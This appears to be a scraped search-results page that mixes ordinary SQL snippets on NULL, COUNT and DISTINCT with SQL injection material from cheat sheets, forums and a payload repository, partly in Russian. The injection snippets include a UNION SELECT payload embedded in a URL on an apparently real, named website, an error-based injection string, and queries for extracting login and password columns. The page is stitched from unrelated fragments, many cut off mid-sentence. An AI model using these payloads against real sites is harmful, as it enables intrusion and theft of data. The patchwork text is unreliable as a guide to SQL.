sql injection "union select null" - CodeProject
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Шпаргалка по SQL инъекциям | DefconRU
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M). Синтаксис: SELECT 0x457578 (M). В MySQL есть простой способ представления строки в...
sql - Counting null values as unique value - Stack Overflow
Hours 1 1 2 null null null. The result must be: 3. My query is: select count(distinct hour) from hours; but it returns: 2. I tested also
SQL Инъекции | Page 798 | ANTICHAT - Security online community
http://www.indianamri.com/index.php?page=Indiana_MRI_Bloomington_-_MRI_Services_for_Bloomington_and_Southern_Indiana_Magnetic_Resonance_Imaging&menu_id=1'+limit+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+
payloads/Injection at master · xsuperbug/payloads · GitHub
and(select+1+from(select+count(*),floor(rand(0)*2)from+information_schema.tables+group+by+2)a)
Заметка про NULL / Хабр | select col from ttt where col is not null
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
Взламываем сайты: шпаргалка по SQL инъекциям
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login
COUNT, DISTINCT, and NULLs - SQL with Bert
returns non null values in group */ SELECT COUNT(Col1) FROM ##TestData; Because of this, COUNT, DISTINCT, and NULLs have a special relationship with each other that isn’t always as intuitive as many people think. Whenever using COUNT or DISTINCT, make sure to test with NULLs to make...
SQL COUNT(), AVG() and SUM() Functions
SELECT COUNT(column_name) FROM table_name WHERE condition; AVG() Syntax.
SQL Server. Интересные советы | CONCAT_NULL_YIELDS_NULL
Настройка SET CONCAT_NULL_YIELDS_NULL устанавливается во время выполнения или запуска, но не во время синтаксического анализа.